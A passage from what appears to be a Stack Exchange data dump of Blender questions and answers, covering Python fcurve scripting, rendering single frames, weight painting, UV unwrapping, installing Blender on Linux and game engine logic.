&quot;&quot;&quot;&#xA;    :param obj: the data block from which we'll get the fcurve&#xA;    :param data_path:&#xA;    :param index:&#xA;    :return:&#xA;    &quot;&quot;&quot;&#xA;&#xA;    # freshly created objects don't have animation_data yet.&#xA;    if obj.animation_data is None:&#xA;        obj.animation_data_create()&#xA;    ad=obj.animation_data&#xA;    if ad.action is None:&#xA;        ad.action = bpy.data.actions.new(obj.name+&quot;Action&quot;)&#xA;&#xA;    for fc in ad.action.fcurves:&#xA;        if (fc.data_path != data_path):&#xA;            continue&#xA;        if index&amp;lt;0 or index==fc.array_index:&#xA;            return fc&#xA;    # the action didn't have the fcurve we needed, yet&#xA;    return ad.action.fcurves.new(data_path, index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and from the other example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def find_or_create_fcurve(action, data_path, array_index= -1):&#xA;    for fc in action.fcurves:&#xA;        if fc.data_path == data_path and ( array_index&amp;lt;0 or fc.array_index==array_index):&#xA;            return fc&#xA;    fc = action.fcurves.new(data_path, array_index)&#xA;    return fc&#xA;&#xA;&#xA;def make_eyeball_look_at(armature, frame):&#xA;&#xA;    eyeball = get_eyeball()&#xA;&#xA;    cns = find_constraint_track_to(eyeball, armature, &quot;card release&quot;)&#xA;    data_path = 'constraints[&quot;%s&quot;].influence' % cns.name&#xA;    fc = find_or_create_fcurve(eyeball.animation_data.action, data_path)&#xA;&#xA;    i0 = len(fc.keyframe_points)&#xA;    fc.keyframe_points.add(4)&#xA;    kp0 = fc.keyframe_points[i0]&#xA;    kp1 = fc.keyframe_points[i0 + 1]&#xA;    kp2 = fc.keyframe_points[i0 + 2]&#xA;    kp3 = fc.keyframe_points[i0 + 3]&#xA;&#xA;    kp0.handle_left = [frame - 7, 0]&#xA;    kp0.co = [frame - 6, 0]&#xA;    kp0.handle_right = [frame - 5, 0]&#xA;&#xA;    kp1.handle_left = [frame - 4, 1]&#xA;    kp1.co = [frame - 3, 1]&#xA;    kp1.handle_right = [frame - 2, 1]&#xA;&#xA;    kp2.handle_left = [frame + 2, 1]&#xA;    kp2.co = [frame + 3, 1]&#xA;    kp2.handle_right = [frame + 4, 1]&#xA;&#xA;    kp3.handle_left = [frame + 5, 0]&#xA;    kp3.co = [frame + 6, 0]&#xA;    kp3.handle_right = [frame + 7, 0]&#xA;&#xA;&#xA;def add_keyframe_points(fcurve, kps):&#xA;    idx0 = len(fcurve.keyframe_points)&#xA;    fcurve.keyframe_points.add(len(kps))&#xA;    rval = []&#xA;    for i in range(len(kps)):&#xA;        kp = fcurve.keyframe_points[idx0 + i]&#xA;        kp.co = kps[i]&#xA;        rval.append(kp)&#xA;    return rval&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="241" LastEditDate="2016-09-30T21:40:14.253" LastActivityDate="2016-09-30T21:40:14.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32541" PostTypeId="2" ParentId="32517" CreationDate="2015-06-16T16:26:39.360" Score="1" Body="&lt;p&gt;Each scene has a start frame and an end frame in the Scene &gt; Render &gt; Dimensions.  If you set those both to the frame you want, then rendering the animation will render that single frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting is per-scene.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-16T16:26:39.360" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32542" PostTypeId="2" ParentId="32516" CreationDate="2015-06-16T16:42:35.750" Score="0" Body="&lt;p&gt;Does the scene you are currently rendering have compositor nodes?  If so: rendering that scene requires it to render all the compositor inputs.  You can deactivate the compositing step by unchecking the Compositing checkbox in the Scene &gt; Post Processing properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also consider creating an entirely separate scene for the compositing, then render the other 4 scenes to stills.  Use the stills as input to the compositor instead of scenes.  This might speed up the workflow as you are tuning the compositing.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-16T16:42:35.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32543" PostTypeId="2" ParentId="32513" CreationDate="2015-06-16T16:45:53.740" Score="2" Body="&lt;p&gt;Probably the most common solution to this problem is to create a Bezier curve and use another Bezier curve (often a circle) as the Bevel Object (in the Bezier &gt; Geometry properties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZf6c.png&quot; alt=&quot;a beveled bezier curve with the relevant properties pane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Bevelling_a_Curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Bevelling_a_Curve&lt;/a&gt; has detailed documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is almost a duplicate of &lt;a href=&quot;https://blender.stackexchange.com/questions/8683/make-a-3d-tube-with-a-b%C3%A9zier-curve/8686#8686&quot;&gt;Make a 3D tube with a B&amp;#233;zier curve?&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-17T14:26:28.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32544" PostTypeId="1" AcceptedAnswerId="32555" CreationDate="2015-06-16T17:09:27.883" Score="0" ViewCount="335" Body="&lt;p&gt;This arm is becoming jagged and folded when folding, I tried taking off some weight from the shoulder and adding some, and even blurring it a lot, any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/byc8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRToq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0trk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-06-16T19:03:45.130" Title="Weight painted movement mesh is jagged when moving bones. How will I usually fix this?" Tags="&lt;blender-internal-render-engine&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32545" PostTypeId="1" CreationDate="2015-06-16T17:15:38.447" Score="1" ViewCount="95" Body="&lt;p&gt;imtrying to follow a tutorial on youtube but I have a laptop, and it doesent have a numpad, please help whats a good alternative&lt;/p&gt;&#xA;" OwnerUserId="15043" LastActivityDate="2015-06-16T18:35:57.253" Title="What do you do if you dont have a numpad" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-16T18:33:49.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="32546" PostTypeId="1" CreationDate="2015-06-16T17:16:12.003" Score="1" ViewCount="741" Body="&lt;p&gt;In a loop, I'm calling &lt;code&gt;bpy.ops.mesh.separate(type=&quot;SELECTED&quot;)&lt;/code&gt; to separate some faces into new meshes. The newly created mesh doesn't seem to automatically become the &quot;active&quot; object, and so it seems like I need to know the name of the newly created mesh before I can rename it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really like to have the script be able to give these new meshes a meaningful name. However, trying to figure out what they're getting called by default is proving very tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="14324" LastActivityDate="2020-12-09T18:04:40.023" Title="How do I name a mesh using Python, when I don't know its present name?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32547" PostTypeId="2" ParentId="32546" CreationDate="2015-06-16T17:34:09.487" Score="1" Body="&lt;p&gt;I think it's pretty simple. Let's take an object called cubes which is one mesh consisting of several disjoint cubes that you want to separate.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# with some selection, running: separate()&#xA;cubes -&amp;gt; cubes.001&#xA;&#xA;# with some selection, running: separate()&#xA;cubes.001 -&amp;gt; cubes.002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if you then deleted cubes.001 and ran separate() on cubes.002 blender will automatically find the earliest unused object name&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# with some selection, running: separate()&#xA;cubes.002 -&amp;gt; cubes.001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think this is how it works, at least there's a logic to it. (Tested by seeing what happens in the outliner if I do this manually for a few iterations.&lt;/p&gt;&#xA;&lt;p&gt;The reason this isn't a very convenient process is because you are calling a function which is used by the user interface, and doesn't need to return the names of the new objects.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;A simple snippet using &lt;a href=&quot;https://docs.python.org/3.4/library/stdtypes.html?highlight=set#set&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python's Set class&lt;/a&gt; to find out which scene objects are new in the scene after such an operation is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# before&#xA;A = set(bpy.data.objects[:])&#xA;&#xA;# after operation&#xA;B = set(bpy.data.objects[:])&#xA;&#xA;# whats the difference between sets&#xA;new_objects = A ^ B&#xA;print([o.name for o in new_objects])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="79253" LastEditDate="2020-12-09T18:04:40.023" LastActivityDate="2020-12-09T18:04:40.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32548" PostTypeId="1" AcceptedAnswerId="191514" CreationDate="2015-06-16T17:36:32.977" Score="4" ViewCount="694" Body="&lt;p&gt;How do I set up SSS shaders properly to render efficiently in animation projects. Are there any specific optimizations to consider? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to render some orange juice in a bottle and getting really long render times.I was wondering what I could do to optimize my shader and scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample scene &lt;a href=&quot;http://www.pasteall.org/blend/36594&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36594&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2020-08-18T23:03:32.017" Title="How to set up SSS on cycles for efficient rendering" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;shaders&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32549" PostTypeId="2" ParentId="32546" CreationDate="2015-06-16T17:46:13.257" Score="1" Body="&lt;p&gt;I made &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/find-new-objects.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/find-new-objects.html&lt;/a&gt; to solve this problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;scn = bpy.context.scene&#xA;names = [ obj.name for obj in scn.objects]&#xA;&#xA;bpy.ops.mesh.separate(type=&quot;SELECTED&quot;)&#xA;&#xA;new_objs = [ obj for obj in scn.objects if not obj.name in names]&#xA;&#xA;print( [ obj.name for obj in new_objs ] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are shortcomings with this approach if your scene has objects linked from external .blend files (because the .name is no longer guaranteed to be unique).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-16T17:46:13.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32550" PostTypeId="2" ParentId="32545" CreationDate="2015-06-16T17:55:54.787" Score="0" Body="&lt;p&gt;On a mac, you can use the Funtion key (fn) + U or I or O or j or k or L or M.. please check this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P70yX.png&quot; alt=&quot;keyboard&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorDisplayName="user1853" LastEditDate="2015-06-16T18:35:57.253" LastActivityDate="2015-06-16T18:35:57.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32551" PostTypeId="1" AcceptedAnswerId="32556" CreationDate="2015-06-16T18:53:21.403" Score="1" ViewCount="147" Body="&lt;p&gt;I am creating game assets and I want to bake some AO maps. I tried the normal way but it takes a lot of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: will the AO map resulted from the approximate method be similar or useful like the raytracing one?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="1245" LastEditDate="2015-06-16T19:15:11.027" LastActivityDate="2015-06-16T19:15:11.027" Title="Is it safe to use approximate gather method to bake AO maps?" Tags="&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32552" PostTypeId="2" ParentId="3236" CreationDate="2015-06-16T19:00:29.790" Score="2" Body="&lt;p&gt;I struggled with this for a few days. Suddenly I had an epiphany, I tried moving the armature to the top of the modifier stack, boom it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the armature is at the top of the modifier stack. &lt;/p&gt;&#xA;" OwnerUserId="15046" LastActivityDate="2015-06-16T19:00:29.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32553" PostTypeId="1" CreationDate="2015-06-16T19:01:51.010" Score="0" ViewCount="162" Body="&lt;p&gt;i am a newbie at the linux environment, please how can i install blender on Linux? what are the commands i type on the terminal window? i just download it from the website. thank you&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r8qya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14934" LastEditorUserId="14934" LastEditDate="2015-06-16T21:04:25.797" LastActivityDate="2015-06-16T21:04:25.797" Title="Install blender on CAELinux" Tags="&lt;linux&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32555" PostTypeId="2" ParentId="32544" CreationDate="2015-06-16T19:03:45.130" Score="1" Body="&lt;p&gt;I start with noticing that your images do not have severe deformation errors, even real arms get jagged and folded someway.&#xA;Anyway, here are some tecniques for improving the joints:&#xA;Create a geometry in which regular edge loops are present in every joint, just before them and just after them, as in photo:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LSQug.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can go in edit mode, select the edge loop (Alt Right Click on an edge) on the joint, in vertex group tab assign 0.5 to the first bone's vertex group, and the same to the second bone's vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the near edge loop, and weight it 0.75-0.25.&#xA;You can add more edge loops, I.E. 0.1-0.9, 0.2-0.8, 0.3-0.7, etc...:&#xA;more loops degrading, better the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All vertex should have a total weight of 1.&#xA;Some riggers add a third bone on the joint, with a copy rotation constraint with half influence: if the second bone rotates 90 degrees, the third bone rotates 45 Deg.&#xA;The edge loop on the joint can be weighted 0.33-0.33-0.33, you can guess the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to put the subdivision surface modifier UNDER the armature modifier in your modifiers stack!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway good weighting is an art that can be improved with practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy blending&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-16T19:03:45.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32556" PostTypeId="2" ParentId="32551" CreationDate="2015-06-16T19:04:30.623" Score="1" Body="&lt;p&gt;Having used Blender to bake AO myself, I can say that yes, it generally okay. Note that there will be a reduction in quality compared to a very high sample bake.&#xA;Approximate gather generally looks 'smoother' than low sample AO bakes but is less accurate. My advice would be to try both and compare inside your game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it mostly depends on your use case, but it should be ok.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="14456" LastEditDate="2015-06-16T19:10:29.660" LastActivityDate="2015-06-16T19:10:29.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32557" PostTypeId="2" ParentId="32553" CreationDate="2015-06-16T19:39:32.487" Score="1" Body="&lt;p&gt;CAELinux is based on Debian, right? If so, these are the commands.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository -y ppa:thomas-schiex/blender&#xA;&#xA;sudo apt-get update&#xA;&#xA;sudo apt-get install blender&#xA;&#xA;sudo apt-get install nvidia-cuda-toolkit`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ehq0Zkit99E&quot; rel=&quot;nofollow&quot;&gt;Heres a video&lt;/a&gt; in case you don't understand some of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: I've been a Blender guru since 2009. Best program ever created if you ask me!&lt;/p&gt;&#xA;" OwnerUserId="15047" LastEditorUserId="599" LastEditDate="2015-06-16T19:57:03.630" LastActivityDate="2015-06-16T19:57:03.630" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32558" PostTypeId="1" CreationDate="2015-06-16T19:53:31.987" Score="3" ViewCount="1655" Body="&lt;p&gt;I've made an animal model, which consists of two objects: eyes and a whole body. I decided to make them into one object. When I tried to do that with &lt;kbd&gt;Ctrl&lt;/kbd&gt;  + &lt;kbd&gt;J&lt;/kbd&gt; one eye joined to the body and the other disappeared. What's the problem?&lt;/p&gt;&#xA;" OwnerUserId="15028" LastEditorUserId="47" LastEditDate="2015-06-17T04:13:41.450" LastActivityDate="2015-06-17T17:57:06.910" Title="How to Join two objects properly" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-17T04:53:14.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="32559" PostTypeId="1" AcceptedAnswerId="32749" CreationDate="2015-06-16T20:09:17.673" Score="3" ViewCount="278" Body="&lt;p&gt;When I pull out a weapon (weapon-switch), a prop (&quot;Timer_Activate&quot;) is set to 10, the number of frames for the weapon-switch animation. If you swap weapons, it will set the prop to 20, and the prop will drop every tick by 1 till it reaches 0. Once the prop is at 0, you can fire. The problem is, if you swap between a weapon, and you hold the fire-button, &lt;strong&gt;you will fire 1 bullet before the prop turns into 20&lt;/strong&gt;. This happens &lt;em&gt;all the time&lt;/em&gt; and can be a cheat to gain fast-firing weapons. How can I fix this &quot;lag&quot;? Any help is appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use my &lt;a href=&quot;http://www.pasteall.org/blend/36654&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; to see the issue firsthand:&lt;br&gt;&#xA;Press 1 or 2 for any of the 2 weapons, and &lt;em&gt;make sure you are holding down left-click as you are swapping&lt;/em&gt;, you will fire 1 bullet, &lt;strong&gt;then&lt;/strong&gt; the animation plays and the timer is set to 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot download the .blend or can't find the issue, be sure to check out a gif of the problem &lt;a href=&quot;http://recordit.co/hlYwskyxGa&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. (&lt;strong&gt;The gif is slightly modified but you can still see the issue.&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzkgD.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="32220" LastEditDate="2019-01-22T12:14:24.213" LastActivityDate="2019-01-22T12:14:24.213" Title="Why are game engine properties changing 1 tick late?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32560" PostTypeId="2" ParentId="32517" CreationDate="2015-06-16T20:18:51.123" Score="1" Body="&lt;p&gt;Here's a small script that will run your render and reset the current frame number in each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to avoid the double render of the second 2 scenes, you could set up a fourth Scene for holding the compositing only and then only trigger the rendering of the other 3 scenes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#set the first scene and render it - this will trigger rendering of other scenes as well&#xA;bpy.context.screen.scene = bpy.data.scenes['Scene'] &#xA;bpy.data.scenes['Scene'].frame_current=1&#xA;bpy.ops.render.render(write_still=True)&#xA;&#xA;#switch context to second scene and re-render frame 20&#xA;bpy.context.screen.scene = bpy.data.scenes['Scene.001'] &#xA;bpy.data.scenes['Scene.001'].frame_current=20&#xA;bpy.ops.render.render(write_still=True)&#xA;&#xA;#switch context to second scene and re-render frame &#xA;bpy.context.screen.scene = bpy.data.scenes['Scene.002'] &#xA;bpy.data.scenes['Scene.002'].frame_current=40&#xA;bpy.ops.render.render(write_still=True)&#xA;&#xA;#now when we switch context back to first scene the compositor will show Frame 1 from Scene, Frame 20 from Scene.001 and Frame 40 from Scene.002&#xA;bpy.context.screen.scene = bpy.data.scenes['Scene'] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this to run your render will allow you to keep your original frame range set to 1-250 and then just render the frames you want.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-16T20:34:13.657" LastActivityDate="2015-06-16T20:34:13.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32562" PostTypeId="1" AcceptedAnswerId="32564" CreationDate="2015-06-16T20:42:27.923" Score="2" ViewCount="601" Body="&lt;p&gt;What would be the best method to UV unwrap and texture an onion-like object? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have to be an onion specifically, it's just an example. I'm talking about all the objects that are spherical in shape and have distinctive parallel lines following the surface from one pole to the opposite pole, converging around both poles (like watemelons etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mostly interested with image-based texture solutions, not procedural ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The photo is Creative Commons licensed image taken by flickr.com/photos/user-colin/&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dc5eP.jpg&quot; alt=&quot;(the photo is Creative Commons licensed image taken by flickr.com/photos/user-colin/)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-06-17T00:20:42.727" Title="How do I UV unwrap and texture onion-like object?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-06-17T13:33:40.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="32563" PostTypeId="1" AcceptedAnswerId="33415" CreationDate="2015-06-16T20:48:12.467" Score="0" ViewCount="123" Body="&lt;p&gt;I am trying to insert an animation controlled by keyboard within a game, but property seems not working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&lt;li&gt;Create an animation (keyframes) for the camera.&lt;/li&gt;&#xA;&lt;li&gt; Create the game logic with game logic editor:&#xA;&#xA;&lt;ul&gt;&lt;li&gt;Create a property&lt;/li&gt;&#xA;&lt;li&gt;Add Keyboard sensor AND Property actuator&lt;/li&gt;&#xA;&lt;li&gt;Add Always sensor AND Action&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have done lot of test without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have only the Keyboard sensor, I see (debugging) the property changing, but when I add the Always, the property acts weird. Sometimes it get back to 0 every time I press the key, sometimes changes more or less  normal till appear strange numbers. [In neither of the cases the animation runs]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other way the same, if I use only the action, it works correctly. [Animation runs].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also try to use the Property sensor (plus the Keyboard sensor), but again, not success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to follow &lt;a href=&quot;https://www.youtube.com/watch?v=vU1fMYqoJ8I&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=vU1fMYqoJ8I&lt;/a&gt; tutorial, but it is done with older blender version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="15051" LastEditorUserId="1245" LastEditDate="2015-06-16T22:08:43.703" LastActivityDate="2015-07-04T11:46:37.423" Title="Animation within a game using property" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32564" PostTypeId="2" ParentId="32562" CreationDate="2015-06-16T20:53:18.537" Score="2" Body="&lt;p&gt;You want to UV unwrap it such that you get a square/rectangular UV island. Then you can use an image texture that is setup for polar coordinates. The trick with a sphere is that you have to remove the single vertex at each pole to unrwap it properly. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create sphere.&lt;/li&gt;&#xA;&lt;li&gt;Delete vertices at each pole.&lt;/li&gt;&#xA;&lt;li&gt;Set viewport to ortho mode and view the sphere directly (front or side, no angle).&lt;/li&gt;&#xA;&lt;li&gt;Unwrap via sphere projection. Your UV island should be square.&lt;/li&gt;&#xA;&lt;li&gt;Create a polar coordinate image texture (features run from top to bottom).&lt;/li&gt;&#xA;&lt;li&gt;Apply to texture using UV coordinates. I've used a Texture Mapping node to increase the X scale so that it tiles more horizontally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJ2LL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6z7oH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-17T00:20:42.727" LastActivityDate="2015-06-17T00:20:42.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32566" PostTypeId="2" ParentId="32553" CreationDate="2015-06-16T21:02:57.367" Score="1" Body="&lt;p&gt;I prefer to make a &lt;em&gt;symbolic link&lt;/em&gt; to the portable binary from a downloaded archive&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /home/your_archive/blender /usr/bin/b3d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lets me start blender using &lt;code&gt;b3d&lt;/code&gt; from command line.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-16T21:02:57.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32568" PostTypeId="1" CreationDate="2015-06-16T21:27:44.800" Score="0" ViewCount="1385" Body="&lt;p&gt;Is there a way I can &quot;project&quot; a mesh on another mesh's surface?&#xA;I know clipping, but it doesn't align the faces that are touching and doing it manually can be very time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an integrated function or addon to do such a thing?&#xA;In case not, can somebody please point me in the right direction to write a py script? (I regularly code in python, just never wrote anything for blender)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a real-world example to explain things graphically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to go from &lt;strong&gt;this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHYLl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;strong&gt;this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5qKA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2015-06-16T22:36:39.287" Title="Project mesh on surface (or clip face with rotation)" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32569" PostTypeId="2" ParentId="32568" CreationDate="2015-06-16T22:08:34.493" Score="0" Body="&lt;p&gt;Thanks @Mr Zak! :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually solved by clicking the &lt;em&gt;two&lt;/em&gt; buttons near the snap tool with face-snapping selected. When I move an object it automatically gets projected on the surrounding mesh's surface :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a small screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AdHGt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2015-06-16T22:08:34.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
